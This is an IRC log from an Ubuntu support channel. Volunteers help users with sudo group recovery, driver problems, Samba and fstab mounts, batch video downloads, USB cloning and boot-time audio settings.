[04:26] <serunu> im going to edit my fstab with the uuid and hope all goes well for a while. Thanks guys.
[04:26] <usr13> serunu: (Since I use xfce, if I pliug in a drive, it will auto-mount to /media/disk-1  If I plugin two more, they will be /media/disk-2 and /media/disk-3)
[04:26] <ike2345> Good day- I am having a little technical difficulty with a new install (read: new user). I installed 12.10 and was given Administrator Permissions on my only user account. First thing I did was make myself a standard user since sudo has always worked for me to accomplish admin tasks through Terminal. However, I am having difficulties modifying Network Connections and unlocking accounts through System Settings. Can anyone help me understand what I have done
[04:27] <escott> ike2345, what?
[04:27] <escott> ike2345, so you were admin and then removed yourself from the admin/sudo group? so how are you going to admin the machine
[04:27] <usr13> ike2345: From the new user account....?
[04:27] <ike2345> yes, that is my exact thought, escott
[04:28] <escott> ike2345, if you really want to have an admin account that can sudo and an account that cannot sudo you need to create a second account (uid 1001) and make that not be an admin account, but you must have one admin account
[04:28] <ike2345> oh man- best steps forward? clean install?
[04:29] <escott> ike2345, is this 12.10 or 12.04?
[04:29] <ike2345> 12.10
[04:29] <escott> ike2345, boot to recovery and run "usermod -a -G sudo "your_username"
[04:29] <escott> ike2345, don't forget the "-a"
[04:30] <serunu> usr13: thats great, when you have to reboot they always show back up? thats where my problem lies. as soon as i get a bigger hd i am getting rid of ubuntu 12
[04:30] <ike2345> ok- that is all I need to do to restore admin permissions, escott?
[04:30] <escott> ike2345, that will put you back in the sudo/admin group and you can then create (if you desire it) a non-priv account
[04:30] <Slimbeep> hi
[04:30] <serunu> in favor of mediabuntu or whatever its called
[04:30] <ike2345> thank you very much, escott
[04:30] <almoxarife> one thing i will give 'Mint', no insta root access on recovery
[04:31] <escott> almoxarife, is that suppose to be a good thing?
[04:31] <usr13> serunu: Yes, they will always be mounted there on the same mount point.
[04:31] <almoxarife> escott: from a security standpoint, yes
[04:31] <Slimbeep> Im trying to enable my GPU on my server so that I can bitcoin mine, I installed fglrx and xorg as well as the AMD development kit for the onboard ATI card, but I have no idea how to enable the gpu
[04:31] <serunu> usr13: mine arent
[04:31] <escott> almoxarife, sure it is
[04:32] <usr13> escott: Should that be  "usermod -a -G admin "your_username"?
[04:32] <trism> except that you can just mount the partition from a livecd so it adds no security
[04:32] <escott> usr13, 12.10 its "sudo"
[04:33] <usr13> escott: Ok.  Thanks info.
[04:33] <escott> trism, thats hardly being creative... what about changing init to /bin/bash
[04:33] <trism> escott: indeed
[04:33] <escott> usr13, yeah a bit of a surprise... but more in line with debian
[04:34] <escott> Slimbeep, modprobe fglrx should be all you need
[04:34] <usr13> escott: I have 10.04.4 and 11.10 here... so, Im a bit behind the times. (..for few more months anyway.)
[04:35] <usr13> escott: ... also good info.  I didn't know that was the debian-way ....
[04:35] <escott> usr13, so im told
[04:36] <usr13> escott: I haven't had a Debian box in a while now.
[04:36] <Darkstar1> upgrading the 8.04 vm  to lucid just prompted me to change to dash… worth it?
[04:36] <Slimbeep> thanks escott
[04:38] <rumpe1> Darkstar1, upgrading to 10.04?
[04:38] <Darkstar1> yeah. a 8.04 vm
[04:38] <rumpe1> Darkstar1, well.. dash is like "bash light" for booting the system. You still can use bash after that. (afaik)
[04:39] <Darkstar1> aahh ok
[04:39] <Darkstar1> just kept bash anyways
[04:39] <escott> Darkstar1, you don't use dash for interactive use
[04:39] <escott> unless you are a masochist
[04:39] <rumpe1> ... or awesome
[04:39] <escott> but it is designed to be more POSIX compliant than bash
[04:40] <escott> or rather designed to be POSIX compliant and not much else
[04:41] <escott> rumpe1, i thought 1337 HAXORs injected shell code directly into init ;)
[04:42] <escott> Darkstar1, ie the concern is if you wrote a custom init script that requires bash you might break it changing to dash
[04:44] <Darkstar1> Don't have time to experiment anyways, so I'll forget I ever came across the prompt :)
[04:47] <crimsonmane> Darkstar1: It is always recommended to perform a fresh install when going between version numbers.
[04:48] <donavan01> hey is there a way to make he side bar hide itself when using the unity launcher
[04:50] <ike2345> escott, thanks- your advice really helped get me back working again.
[04:50] <thomaswonderful> Hi everyone!
[04:51] <escott> ike2345, your life will be easier if you just use the user in the "sudo" group, but you can setup a user who is not in the "sudo" group in which case you have to logout/login as the admin user to install software/update/mantain the system
[04:52] <ike2345> escott, thanks again- I am sure that I will be back with more questions in the future
[05:00] <Darkstar1> upgraded to lucisystem restart and it's frozen :(
[05:00] <crimsonmane> Darkstar1: It is always recommended to perform a fresh install when going between version numbers.
[05:00] <thomaswonderful> Hi, I am new to Ubuntu, nice to be here!:)
[05:03] <thomaswonderful> Darkstar1: I haven't heard lucisystem before. Tell me what's lucisystem, please.
[05:05] <crimsonmane> thomaswonderful: that's a typo he did.
[05:06] <thomaswonderful> crimsonmane: thanks.
[05:07] <Jordan_U> crimsonmane: Darkstar1: It is not always recommended to perform a fresh install when upgrading to a new version. The ability to upgrade is there for a reason, and I have taken many machines through many upgrades.
[05:07] <crimsonmane> I've done it too, Jordan_U, but i'm 99.9% sure the website says it's recommended to do a fresh install from one version to another
[05:08] <Jordan_U> crimsonmane: Please link to the page where you found that recommendation. I don't believe there is any such recommendation in any official documentation / page.
[05:08] <animal> I just re-install every 4 months when I've finally fawked my system up enough. Keeps everything nice. <3
[05:08] <almoxarife> oh dear, we have a divergence of opinion
[05:09] <thomaswonderful> crimsonmane:  may i ask you what version of ubuntu you use? I use ubuntu 12.10
[05:09] <Jordan_U> Darkstar1: What happens when you try to boot exactly? (what do you see?)
[05:10] <animal> Oh  you -have- to have 12.10. However would you otherwise expect to end up with an "amazon" button on your launchbar!?
[05:11] <crimsonmane> Jordan_U: perhaps it's outdated. I thought it was that way back in 10.04 but it's obviously not that at this time. thomaswonderful i don't use ubuntu.
[05:12] <almoxarife> http://askubuntu.com/questions/5466/is-a-clean-install-better-than-upgrading <--to further confuse
[05:12] <thomaswonderful> animal: I am not sure, because I am totally new to Ubuntu myself. I purchased a ubuntu book, a nice installation cd included.
[05:12] <crimsonmane> almoxarife: those answers are user-generated, aren't they? try https://help.ubuntu.com/community/PreciseUpgrades
[05:13] <thomaswonderful> I have tried many linux systems so far. Ubuntu is the best!
[05:14] <animal> Well, ubuntu have it's perks. And drawbacks.
[05:15] <almoxarife> crimsonmane: user generated yes, is askubuntu.com a conical entity?
[05:15] <animal> Also, thomaswonderful, if you wanna check your version you may use the button in your upper right, the one with the shutdown menu, and click "about this computer"
[05:16] <crimsonmane> almoxarife: yes
[05:17] <thomaswonderful> Well, it works just like my Windows desktop, no need to start from scratch. I love it!
[05:20] <thomaswonderful> Windows users can use Linux Ubuntu right away, no need extra training :)
[05:21] <thomaswonderful> After all, it's free. No product key required to activate Ubuntu products.
[05:21] <escott> thomaswonderful, we are glad things are working out for you but this is a support channel, so we prefer actual questions. #ubuntu-offtopic you just want to chat
[05:22] <thomaswonderful> thanks
[05:23] <almoxarife> i have a rekonq question, where does it get url configuration?
[05:24] <almoxarife> i have a rekonq question, where does it get url configuration? i meant (uri) to be specific
[05:33] <thomaswonderful> almoxarife:  what version of rekonq browser you use right now?
[05:34] <almoxarife> thomaswonderful: rekonq 1.3  on kde 4.9.3
[05:34] <thomaswonderful> my ubuntu does not install rekonq for me
[05:35] <almoxarife> thomaswonderful: you dont want to do that
[05:35] <thomaswonderful> almoxarife: tell me more about rekonq url question, I am interested to know
[05:35] <almoxarife> thomaswonderful: installing rekonq would bring in about 2/3 to 3/4 of kde, unless you want kde :)
[05:38] <thomaswonderful> I read about KDE from my ubuntu book a few days ago
[05:38] <almoxarife> thomaswonderful: its just that, chrome uses xdg, konqueror uses mimetype, rekonq uses ?????
[05:39] <almoxarife> thomaswonderful: you will want to go KDE when you decide that you just cant get enough configuration out of unity/gnome
[05:41] <almoxarife> thomaswonderful: rekonq is my 'play' browser, i noticed that it does not do everything i wanted, so i asked in #kde and #kubuntu and #rekonq, turns out the question is tough to answer, and beyond my meager brain cell
[05:42] <superfake123> anyone know what is going on with http://kernel.ubuntu.com/ ?
[05:42] <Justin_jtb7rmv> how do you setting up shall server in ubuntu?
[05:42] <escott> almoxarife, and you come back to gnome/unity when you realize you are spending all your time trying to understand what those config options do. sounds like you are halfway there ;)
[05:42] <escott> Justin_jtb7rmv, sudo apt-get install openssh-server
[05:43] <almoxarife> escott: i dont come back, for real browsing i insist on chromium
[05:44] <almoxarife> escott: its just something to kill time, when i finally get to the answer i will have rekonq doing what konqueror and chromium do, its the little things :)
[05:46] <ClientAlive> I want to make something for vlc to save streaming video from the internet only to do it in batch - ie: a list of url's and the process runs through and save each/every util all in the list are saved. Any opinion on how involved something like that may be? Heads up on the basic tasks that would have to be undertaken?
[05:46] <almoxarife> Justin_jtb7rmv: since you have asked the question a few times, its 'shell'  btw, what are you trying to do?
[05:46] <rumpe1> ClientAlive, do you have the exact urls of the streams?
[05:47] <rumpe1> ClientAlive, you should look into "wget". you could feed it a list of urls (in a file) using pipes in bash, using xargs or maybe wget itself even offers that as an option
[05:48] <almoxarife> ClientAlive: if d/l'ing the streams is the priority, forget vlc, 'wget' them
[05:48] <almoxarife> what rumpe1 said :)
[05:50] <escott> ClientAlive, it really depends on where you are getting these streams from
[05:51] <ClientAlive> rumpe1: escott: getting them from youtube - a series of 57 java programming tutorials (then there are series on other programming stuff after that). Playing them in vlc allows me to view them in fullscreen and stay in fullscreen while I work on my other monitor in the ide.
[05:51] <ClientAlive> rumpe1: wget works for streaming media?
[05:52] <escott> !info youtube-dl
[05:52] <escott> ClientAlive, so the answer is hard... very very hard
[05:52] <escott> ClientAlive, wget does RTSP last i checked... thats about it
[05:52] <ClientAlive> escott: hmm.
[05:52] <rumpe1> ClientAlive, that youtube-dl uses wget (afaik)
[05:52] <media-centre> hey guys
[05:52] <rumpe1> ClientAlive, wget is the swiss knife of downloading ^^
[05:52] <escott> ClientAlive, but youtube isn't actually streaming
[05:53] <ClientAlive> well I could do a test with one vid using wget. See if it works.
[05:53] <media-centre> does anyone know how to get the 3 buttons on the right side instead of the left
[05:53] <escott> ClientAlive, sudo apt-get install youtube-dl
[05:53] <almoxarife> its only streaming if you are actively watching and caching,
[05:53] <ClientAlive> ok
[05:53] <escott> ClientAlive, i was kidding about this being hard... its already been written for you
[05:54] <ClientAlive> escott: does it work in batch tho?
[05:54] <media-centre> any one
[05:54] <DrManhattan> weird, the nvidia-current package doesn't give me any kinda console readout when booting in text mode, but the nvidia-experimental-310 does.
[05:54] <escott> ClientAlive, you batch it. while [[ $ARGC -gt 1 ]] do youtube-dl $1; shift; loop
[05:55] <media-centre> hallo can i get some help here
[05:55] <media-centre> does anyone know how to get the 3 buttons on the right side instead of the left
[05:55] <ClientAlive> holy crap I have no idea how to write some command like that - it's like looking at greek
[05:56] <escott> ClientAlive, its $# not $ARGC my bad
[05:56] <media-centre> ok nevermind ill come back when its not busy
[05:56] <ClientAlive> escott: can you explain that command in a way I could replace parts of it with the urls - or better yet - a file of the urls?
[05:57] <DrManhattan> im very disappointed in the nvidia-current package! WAH!
[05:57] <DrManhattan> especially considering the 310's ARE the current drivers - the LTS ones
[05:58] <escott> ClientAlive, for all i know youtube-dl can do batch its an easy thing for them to add to it. but if it doesn't you put that in a script call it youtube-dl-batch.sh and put it in your ~/bin. then you run it and put all the urls on the command line. it passes the first to youtube-dl and then "eats it" with shift
[05:59] <ClientAlive> escott: ok, I'll try it out. thx
[06:02] <kiwi-foobar> Hello All
[06:02] <Justin_jtb7rmv> talk guys tomorrow night or tuesday
[06:03] <Justin_jtb7rmv> talk guys tomorrow night or tuesday
[06:03] <kiwi-foobar> I have a problem with an upgrade from 12.04 to 12.10 can anyone here help
[06:03] <escott> kiwi-foobar, maybe
[06:04] <Solus> Greetings. Is anyone capable of assisting me awake?
[06:04] <kiwi-foobar> It looks like the window manager does not start correctly - I have almost no gui access but I can reboot into root shell
[06:05] <escott> kiwi-foobar, probably a graphics card issue. nvidia or amd graphics? prop drivers? how did you install them?
[06:06] <escott> Solus, yes/no/maybe/he's dead jim
[06:06] <kiwi-foobar> I installed ccsm and check to see if the unity plug in was installed enabled, which it is
[06:07] <Solus> escott: Ubuntu left the GRUB loader which is harder to remove than any virus I've ever encountered
[06:07] <Solus> running windows 7
[06:07] <Solus> dual-booted win7 and Ubuntu
[06:07] <Solus> or rather ran Ubuntu
[06:07] <kiwi-foobar> I removed my nvidia card but still no go
[06:07] <escott> Solus, how is grub hard to remove. just install the bootloader you want
[06:08] <bjrohan> Hey there. Many times when running a program I receive the following error:
[06:08] <bjrohan> reading configurations from ~/.fonts.conf is deprecated.
[06:08] <escott> kiwi-foobar, if you had nvidia+prop drivers and just remove the card to switch to IGP is just going to make matters worse. you would need to remove the prop drivers and the xorg.conf file first
[06:08] <Solus> escott: Well you see, I do get the windows boot loader to work but somewhere deep in the system the /boot partition I created still exists even though I cleared all partitions, fixed the mbr with EasyBCD and removed the Ubuntu boot up option with it. It just keeps coming back
[06:10] <kiwi-foobar> OK -  what is the best way to remove the prop drivers and then I will edit the xorg.cong file in vi
[06:10] <escott> kiwi-foobar, depends on how you installed them? how did you install them
[06:11] <escott> Solus, then EasyBCD must not be working properly. honestly this is more of a question for #windows or something. you just need to run fixmbr or whatever the windows command is to install their bootloader
[06:11] <Solus> thanks headed there now
[06:12] <escott> Solus, but grub doesn't do anything special to protect itself. its in the mbr/pbr as you instructed it to be
[06:12] <kiwi-foobar> I think I used the 3rd party drivers app in 11.10 - It was a over a year ago I am not sure anymore
[06:12] <escott> kiwi-foobar, do you mean "jockey"
[06:13] <escott> kiwi-foobar, ie you installed them through the recommended method... not downloading stuff from the web
[06:13] <kiwi-foobar> Yep
[06:14] <escott> kiwi-foobar, then things should have worked on the upgrade, but people have been having problems with nvidia
[06:15] <escott> kiwi-foobar, i don't really know what to recommend. if you want to go to IGP then sudo apt-get remove --purge "nvidia-*"; and sudo rm /etc/X11/Xorg.conf; might be enough
[06:15] <lickalott> escott you still here?
[06:15] <escott> lickalott, about to call it a night
[06:15] <lickalott> guess so....lol
[06:15] <lickalott> k.  I'll ask, if you have time shoot, if not I'll see if someone else can assist
[06:16] <escott> lickalott, and i dont know a lot about samba configs sorry
[06:16] <kiwi-foobar> I will mv the xorg.conf and see what does
[06:16] <lickalott> oh
[06:16] <escott> kiwi-foobar, anyways goodluck. hopefully some more aussies are coming online
[06:16] <sloshua> does anyone know anything on setting up a file server or nas with ubuntu?
[06:17] <sloshua> can anyone help me
[06:17] <sloshua> does anyone know anything on setting up a file server or nas with ubuntu?
[06:18] <lickalott> i have 3 shares via samba all are browsable, writable, and guest ok and not read only.  I can see them and navigate through them from across the network, but I can't copy to them.  i noticed that the /media dir where these are mounted was 775 so I chmod'd it to 777 (to test) and I got a screw off it's a read only file error
[06:18] <lickalott> any ideas why?
[06:21] <lickalott> I'm thinking it's fstab maybe?

[06:28] <brady1> ok i know this isnt purely an ubuntu question, but when im using kleopatra on ubuntu, and i want to set a certificate to trusted, i can't because its greyed out.. .
[06:29] <Wug> neild: post the code. use whatever online paste service
[06:29] <blackshirt> !pastebin
[06:32] <neild> Wug, the code is spread over several source files
[06:32] <Wug> neild: clump them together. ill figure it out.  you might also try stackexchange
[06:33] <Wug> and a debugger, like gdb.
[06:33] <drecute> I'm getting postmap: fatal: unsupported dictionary type: ldap in postfix

[06:39] <netwrkspider> hi al
[06:39] <netwrkspider> guys i need help
[06:40] <netwrkspider> how i can take backup snapshot for ubuntu server.
[06:40]  * lickalott points to the back of the line
[06:40] <lickalott> google "command line backup utility (ubuntu 12.04)"
[06:40] <blackshirt> !backup
[06:41] <lickalott> or you could just tar up your stuff
[06:41] <blackshirt> !sbackup
[06:41] <blackshirt> !cloning
[06:42] <netwrkspider> @blackshirt: thx man
[06:42] <blackshirt> good luck
[06:45] <lickalott> can someone paste me a line from thier fstab that allow writable access?
[06:49] <blackshirt> lickalott, like your partition problem ?
[06:50] <lickalott> yeah
[06:50] <lickalott> it's coming up readonly no matter what I do
[06:53] <WeThePeople> hi
[06:53] <brady1> its a real pain that the ubuntu software center search function isn't smart enough to ignore capitalization, spaces, or do any sort of intelligent searching.
[06:53] <blackshirt> hi wethe people
[06:53] <lickalott> K...now I'm really confused.  I have 3 shares.  all three with the same permissions/settings.  2 work (copying to) and 1 gives me the finger
[06:56] <neild> Wug, I found the code problem... it was a stupid mistake... doing a malloc() without assigning it to the variable I want the pointer in.
[06:56] <lickalott> blackshirt, does that make any sense to you?
[06:57] <Wug> neild: unitialized variable. pretty typical. do be more careful next time.
[07:00] <brady1> is it possible to set up my system to not require my password for everything?
[07:03] <Espen__> there is a workaround for this bug, but how do i use it?
[07:03] <Espen__> http://askubuntu.com/questions/210040/unity-does-not-start-after-installing-the-fglrx-drivers-on-12-10
[07:03] <Espen__> on #2nd workaround it links to a ppa at launchpad
[07:12] <Snowie> howdy all. I have need to learn some visual basic for some simple stuff at work (ugh). i only have ubuntu and emulation is not possible because i am not buying/stealing a copy of windows. Anyone had need for this and run any of the VB tools from Wine etc. A stretch i know but i thought id ask. Any advice?
[07:13] <Noah> Is anyone available to help with a RAID array?
[07:13] <bazhang> Snowie, check the appdb, then join #winehq
[07:13] <bazhang> !appdb | Snowie
[07:13] <Snowie> basso, thanks mate. will have a look
[07:14] <basso> wat

[07:17] <myes2l2> basso what the freaking problem are you facing?
[07:17] <kiwi-foobar> I have a problem with an upgrade from 12.04 to 12.10 can anyone here help. It looks like the window manager does not start correctly.  In fact compiz crashes  I have got almost _no_ gui access but I can reboot into root shell. Installed ccsm and check to see if the unity plug in was installed and enabled, which it is 	Removed my nvidia card;   sudo apt-get remove --purge "nvidia-*";   sudo rm /etc/X11/Xorg.conf;  but still no go
[07:18] <Noah> I need some quick help rebuilding a raid
[07:21] <netwrkspider> b
[07:21] <Noah> I'm attempting to fix a raid in state [2/1] [U_]
[07:22] <myes2l2> Noah what raid are you saying  here?
[07:23] <Noah> i'm referring to a raid 1 config on my server box

[07:28] <myes2l2> just follow the first command line
[07:28] <nikis> It's possible part of his message got blocked by the floodbot.
[07:30] <Snowie> Maybe im barking up the wrong tree here. I just need to move a few files and ask a few questions on windows. is there a language even with a simple plugin that will work across linux and windows? just asking. know i might be too ambitous
[07:32] <Ben64> Snowie: what?
[07:32] <Snowie> Ben64, yeah i know. lol. it's a dumb question. didnt know if there might be a magic answer. here's the situation.
[07:34] <kiwi-foobar> Is there some way to run an xorg configure from the cli and do some sort of hardware detect
[07:35] <Snowie> at work, on windoez in a MASSIVE company, roaming profiles are a joke, and the job keeps changing. Everyone run's through the same steps all the time to fix it, so they can get on with it. I could write a batch, but people do different stuff, and i dont want everyone to be in CMD for ages. Just need something i can write on my buntu box, that will acheive that for me. Visual basic seems like it, but, no easy way on buntu box to
[07:35] <Snowie> do that
[07:35] <netwrkspider> quit
[07:36] <Snowie> i think im dreaming, i will just have to write it on the box at work
[07:36] <Ben64> Snowie: java? python? c++?
[07:36] <Snowie> yeah. Java it is.

[07:51] <user1234234> I'm using lubuntu desktop.  How do I move a window in "wire frame" mode so only the window outline moves and not the window contents?
[07:51] <jussi> Snowie: eclipse
[07:51] <jussi> Snowie: and lay off on the "noob" use ;)
[07:52] <jussi> user1234234: perhaps ask in #lubuntu?
[07:52] <user1234234> jussie, done that..still waiting..

[07:52] <dcherniv> user1234234, obconf
[07:52] <jussi> user1234234: it can be a bit slow there, be patient.
[07:53] <user1234234> obconf seems to be bugged.  The move/resize option isn't working
[07:54] <wookienz> hi guys any one an expert on zfs?
[07:56] <alusion> Does anyone know a thing about hosting a teamspeak server?
[07:57] <almoxarife> alusion: you have the server package?
[07:57] <Erin> alusion, I run one
[07:57] <chr00t> dpkg -L xxx can list the files for a package which I have already install. my question is: how can I list the files for a package which I have not installed?
[08:00] <jasper__22> Hi - need a quick help with network setup between 2 Ubuntu computers with 2 network cards each
[08:00] <dcherniv> jasper__22, just ask
[08:01] <jasper__22> each computer connected to 2 networks. One is local with: 10.0.0.x/24 and another (in-between 2 ubuntu boxes) should be 172.0.0.1  and 172.0.0.2
[08:01] <jasper__22> another comp configured the same
[08:01] <Erin> alusion, did you have a question about team speak.. ?
[08:02] <jasper__22> one leg to 10.0.0.x/24 and another connected to 172.0.0.x
[08:02] <jasper__22> the 10.0.0.x network is working - I can ssh and everything but somehow I can not setup internal network 172.0.0.x
[08:03] <jasper__22> my configuration is 'static' with 172.0.0.1 on one comp and 172.0.0.2 on another comp
[08:03] <jasper__22> but they can not even ping each other
[08:04] <alusion> Erin, what are slots?
[08:04] <alusion> I'm looking at maybe renting a server or something... so I'm just wondering what slots are hehe..
[08:04] <Erin> alusion, how many users can be on the server
[08:04] <alusion> I figured as much.
[08:05] <ddonnykeez> how do I know what to type to mount my ipod i just plugged in, i've already created the mount point
[08:05] <alusion> Hehe.. I'm on the east coast, can you recommend me perhaps a good host?
[08:05] <jasper__22> is there any tutorial on how to set-up internal network with 2 ubuntu comps ?
[08:05] <Erin> do you have a decent net connection? you can run your own server alusion
[08:05] <alusion> Yeah
[08:05] <Erin> Why not run your own server?
[08:05] <alusion> I set up my own server, I have fios
[08:05] <alusion> Idk
[08:05] <alusion> I am security conscious
[08:05] <Erin> yea so do I, I run my own server
[08:06] <alusion> I opened up some ports for it.. and I feel a little less safe. Anyways how can I connect to my server?
[08:06] <alusion> Right now it's still localhost
[08:06] <jasper__22> alusion: ssh
[08:06] <Erin> alusion, well I would set up a no-ip.org account
[08:06] <ddonnykeez> i've tried /dev/sdc1
[08:06] <Erin> alusion, so your ip will be convrted to whatever.no-ip.org for others to use
[08:07] <jasper__22> ddonnykeez: plugged by USB ?  $> lsusb
[08:07] <alusion> That may be just what I need :-] Is it..free?
[08:07] <Erin> jasper__22, he is talking about a teamspeak server. no ssh needed
[08:07] <ddonnykeez> jasper_22 yeas
[08:07] <Erin> alusion, yea it is, then you setup your account in the fios router and it keeps it updated for you
[08:07] <jasper__22> Erin: you suggested no-ip.org <- its' free DNS provider
[08:08] <ddonnykeez> jasper_22 it says Bus 001 Device 009: ID 05ac:129e Apple, Inc. iPod Touch 4.Gen
[08:08] <Erin> jasper__22, I know what it is...? what are you getting at
[08:08] <jasper__22> ddonnykeez: ok - so it's connected by USB. check  $> mount  command - maybe it's get autoconnected
[08:08] <jasper__22> automounted
[08:08] <Erin> alusion, you are welcome to use my server if you don't want to set one up. I never have more than 5 people on it anyway lol.
[08:09] <ddonnykeez> jasper_22 is it, but i want to specify where to mount and i don't know how to find the right /dev/xxxx to use in the mount command
[08:09] <alusion> Hehe thanks, I'll have to waiver the offer -- I'm hoping  I can add a modern edge to my business with TS ^_^;
[08:10] <Erin> what business ?
[08:10] <jasper__22> ddonnykeez: ?? so the /dev/xxx is listed in 'mount' command
[08:11] <jasper__22> ddonnykeez: just take it from there
[08:11] <alusion> Erin: http://youtu.be/k4aY2nyOZx8 check it out :P
[08:12] <alusion> we market essential services and renewable energy at wholesale price
[08:12] <Erin> I see.
[08:13] <Erin> well anything else you need to know about Team speak ?
[08:13] <alusion> Hehe I will have to read through this no-ip thing
[08:13] <Erin> all you do is sign up a free account, then you create a dns host @ no-ip.org
[08:13] <Gipzo> Hello, guys and girls. What is the fastest way to clone ubuntu system from one usb flash to another? (16 gb, dd is awfully slow)
[08:13] <alusion> Sounds simple enough..
[08:14] <Erin> Gipzo, dd is the best /fastest way
[08:14] <Gipzo> i have 16 gb flash, but i'ts not full
[08:14] <Gipzo> about 3-4 gb of data
[08:14] <Erin> Gipzo, it isn't dd that is slow it is the usb flash drive, they generally have crappy speed
[08:14] <Gipzo> dd copies all 16 gb =(
[08:14] <Erin> well you could copy the files then just make it bootable I guess
[08:15] <Gipzo> Ok...and how do I make it bootable?
[08:15] <Erin> not sure exactly, with unetbootin or some such tool I guess
[08:16] <Erin> I mean I know how to make a booteable usb flash drive using that tool, but I don't know how to do just the making it bootable part off the top of my head
[08:16] <Gipzo> last time i copied first 1000 blocks by dd...
[08:16] <Erin> Yea you could do that I suppose
[08:16] <Gipzo> at's 512x1000 bytes
[08:16] <Gipzo> it's*
[08:16] <Erin> first 512 bytes I believe
[08:17] <Erin> sorry its late here I forgot you could use dd for that too ;-p
[08:17] <Gipzo> but it's not very safe for different usb flashes )
[08:17] <Erin> why not?
[08:17] <Gipzo> different sizes
[08:17] <Erin> you are only writing data to the drive, it is fixeabl
[08:17] <Erin> that doesn't matter, you are writing the master boot record
[08:17] <Erin> not the partition
[08:19] <Ben64> Erin: it includes the partition table
[08:19] <Erin> ahh then edit it
[08:21] <Gipzo> Is there any tool, so i can write simply this - make_bootable /dev/sdb1
[08:21] <Erin> Gipzo, sudo grub-install /dev/sdb1 I believe
[08:22] <argh22> hello everyone
[08:22] <Erin> but wouldnt you want to use the whole device as in just /dev/sdb
[08:23] <argh22> any help in installing catalyst 12.10 on ubuntu 12.10 for a total noob? i tried to google it, but the procedure did stuck at some point.
[08:23] <Ben64> !ati | argh22
[08:23] <argh22> ok i'll give it a look now
[08:24] <Gipzo> or /dev/sdb...
[08:24] <Erin> Gipzo, yea I said that ;-P
[08:25] <Gipzo> So... the solution to clone system is to copy all files from one flash to another (rsync, i believe) and ther grub-install on it?
[08:25] <Ben64> Gipzo: I don't think grub-install would work
[08:25] <Erin> why not ?
[08:26] <Ben64> It would be making grub for the currently booted system
[08:26] <Erin> even if you point it at a different device ?
[08:26] <Ben64> most likely
[08:27] <Erin> looks like he needs to use grub-install --force --root-directory=/dev/device
[08:29] <Erin> make sure you mount the flash disk first
[08:30] <Erin> just google it, it is a bit of a process but doable
[08:31] <Gipzo> Ok
[08:31] <Gipzo> Thanks =)
[08:31] <argh22> Still ati driver installation on ubuntuwhy isn't there in ubuntu 12.10 a settings/hardware folder as pointed in the guide? also, the guide looks rather dated... i downloaded from shell the lastest drivers for linux, i followed the instructions i found, still from shell, in the wiki linked in the download page... but it got stuck.
[08:31] <Erin> easier to just use DD :-P
[08:31] <Erin> go watch a tv show and come bck
[08:31] <g0tcha> heya guys, anyone here familiar with HE tunnelbroker ipv6 tunneling?
[08:31] <g0tcha> i tried adding the same tunnel running on my ubuntu to centos by mistake and now my ubuntu ipv6 wont work anymore, anyone can help me out maybe?
[08:34] <almoxarife> g0tcha: sounds like the un-doing is at HE
[08:35] <g0tcha> almoxarife, what could have happened from their end?
[08:36] <almoxarife> g0tcha: i dont know
[08:37] <g0tcha> almoxarife, ah ok.. was just curious on how you got the idea from so i can follow it
[08:39] <almoxarife> g0tcha: i tried long ago to set up a tunnel, back then there were not that many internet addresses on ipv6, when i found myself without that many places to go to via ipv6 i put it on the back burner, i saw the HE, i figured it was the same tunnelbroker
[08:42] <brady1> ipv6, is it superior to tor?
[08:43] <almoxarife> brady1: two different animals
[08:45] <almoxarife> brady1: ipv6 is as transparent as ipv4
[08:46] <brady1> but is it as anonymous as tor?
[08:46] <brady1> im mostly concerened with the ip masking capabilities almoxarife
[08:47] <btral> hi. i have this command
[08:47] <btral> tar --ignore-failed-read -T $INCLUDE -X $EXCLUDE -C / -cf $TMPTAR &>/dev/null
[08:47] <almoxarife> brady1: i would say ipv6 is as anonymous as ipv4
[08:47] <btral> how change it to get tar.gz from multi input file and gzip it to one tar.gz
[08:47] <btral> ?
[08:47] <btral> how use tar to get one tar.gz from multiple files?
[08:48] <almoxarife> brady1: what would be interesting is if one can enter tor via ipv4 and exit to a ipv6 address :)
[08:48] <Kartagis> btral: tar czvf file.tar.gz file1 file2 file3

[08:49] <btral> Kartagis: i used it to give tar.gz from for example /var/log/
[08:49] <btral> Kartagis: but how say it to give .tar.gz fome /var/log/ and /tmp/ and /home/
[08:49] <btral> ?

[09:00] <MountainGoat> anyone familiar with troubleshooting wpa_supplicant? Strangely I managed to get a link painlessly with NetworkManager... but outside the GUI would be nicer
[09:01] <leo2007> ok, resolved!
[09:01] <Lachezar> MountainGoat: you may want to try nm-tool.
[09:03] <Lachezar> MountainGoat: or rather 'nmcli'.
[09:04] <MountainGoat> interesting!
[09:06] <MountainGoat> heh, lead me to two things... my wpa_supplicant lacks the atheros driver... yet nm is using ath5k... also apparently nm's failure to connect right now could be related to my problems with wpa_supplicant... prob related to a power outage today
[09:06] <MountainGoat> apparently the neighbours at work, their free wifi, isn't immune to power failures :(
[09:11] <Bothos> anyone know which snes emulator is best for ubuntu?

[09:16] <micky_> when i installing the chrome internet browser ,i got an error : dependency is not satisfiable:libasound2
[09:16] <almoxarife> micky_: usually happens when ppa's install their own libs, do you have ppas in your sources.list?
[09:17] <Lachezar> micky_: Try installing chromium-browser
[09:17] <almoxarife> micky_: what Lachezar said

[09:22] <user1234234> i want to load my alsa volume settings on bootup with "alsactl restore 0".  Which script do I add this to?  ps I'm using ubuntu 12.04 with lxde desktop.
[09:24] <kushal_kumaran> user1234234: adding to /etc/rc.local should work
[09:26] <pratz> Hello guys
[09:26] <user1234234> Thanks. My master volume kept muting, so i wanted to use alsactl to restore it. Rebooting.
[09:27] <pratz> I am using U-12.04 , when i close  thunderbird it closes, but it should not close and should be running in message menu, how can i do this ?
[09:28] <almoxarife> pratz: look for 'close to systray' or similar in options
[09:29] <MonkeyDust> pratz  there's alltray, it minimizes anything to tray
[09:29] <pratz> almoxarife: MonkeyDust i want it in messsage menu
[09:30] <almoxarife> pratz: ok
[09:30] <user1234234> Unfortunately my master volume muted again on reboot.  I had to manually enter "alsactl restore 0" in the terminal to unmute my volume.
[09:31] <user1234234> /etc/rc.local didn't automate that command.
[09:32] <Lachezar> user1234234: It did, but I suspect you have something else wiping out your volume later.
[09:32] <Lachezar> user1234234: Try adding a command to your UI session. Ugly, but works.
[09:32] <almoxarife> user1234234: you are not running pulseaudio server are you?
[09:33] <user1234234> not sure..i'm using lxde desktop so whatever that includes.
[09:33] <user1234234> so add it to my lxde session scripts...
[09:34] <almoxarife> user1234234: i think someone who can do a "I had to manually enter "alsactl restore 0" in the terminal to unmute my volume." knows about pulseaudio, good luck with that
